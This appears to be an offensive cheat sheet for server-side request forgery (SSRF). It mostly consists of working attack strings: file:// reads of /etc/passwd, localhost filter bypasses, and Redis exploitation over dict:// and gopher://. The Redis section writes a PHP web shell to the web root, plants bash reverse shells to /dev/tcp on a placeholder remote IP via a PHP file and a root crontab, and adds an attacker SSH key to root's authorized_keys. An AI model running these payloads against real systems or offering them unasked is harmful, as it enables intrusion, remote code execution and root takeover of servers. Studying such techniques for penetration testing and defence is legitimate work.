Server Side Request Forgery (SSRF)

https://vinc.top/2016/11/24/server-side-request-forgery
https://github.com/allanlw/svg-cheatsheet


PoC and enumeration

# It is possible to prove the vulnerability by reading local files
# Using the file protocol
url=file:///etc/passwd

# Then you can enumerate local services that are listening
# Depending on the response
http://localhost:<port>

# It is also possible to use others protocols like gopher and dict
# They don't send HTTP headers and can avoid misinterpretation
gopher://127.0.0.1:6379/test

# Filter bypass
http://127.1 instead of http://127.0.0.1
http://0 instead of http://localhost
http://0xC0A80001 or http://3232235521 => 192.168.0.1
192.168.516 => 192.168.2.4


Redis Exploitation

# Redis is a database system that stores everything in RAM

# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE
# Getting a reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
nc -lvp <port>
http://site.org/reverse.php
# Priv. Esc. using SSH key
ssh-keygen
url=dict://127.0.0.1:6379/SET%20mykey%20"\n\nCLE_PUB_RSA_ICI\n\n"
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/root/.ssh
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20authorized_keys
url=dict://127.0.0.1:6379/SAVE
ssh -i id_rsa root@host.org

# You can use dict protocol and crontab
# - You set the working directory
# - Update the redis database location
# - Listening
# - Write a reverse shell payload
# - Save it
dict ://127.0.0.1:6379/config set dir /var/spool/cron/ 
dict ://127.0.0.1:6379/config set dbfilename root
nc -lvp <port>
dict ://127.0.0.1:6379/set -.- "\n\n\n* * * * * bash -i >\x26 /dev/tcp/"ip"/"port" 0>\x261\n\n\n"
dict ://127.0.0.1:6379/save

# You can also use the gopher protocol (replace IP and port)
url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/xxx.xxx.xxx.xxx/3615%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A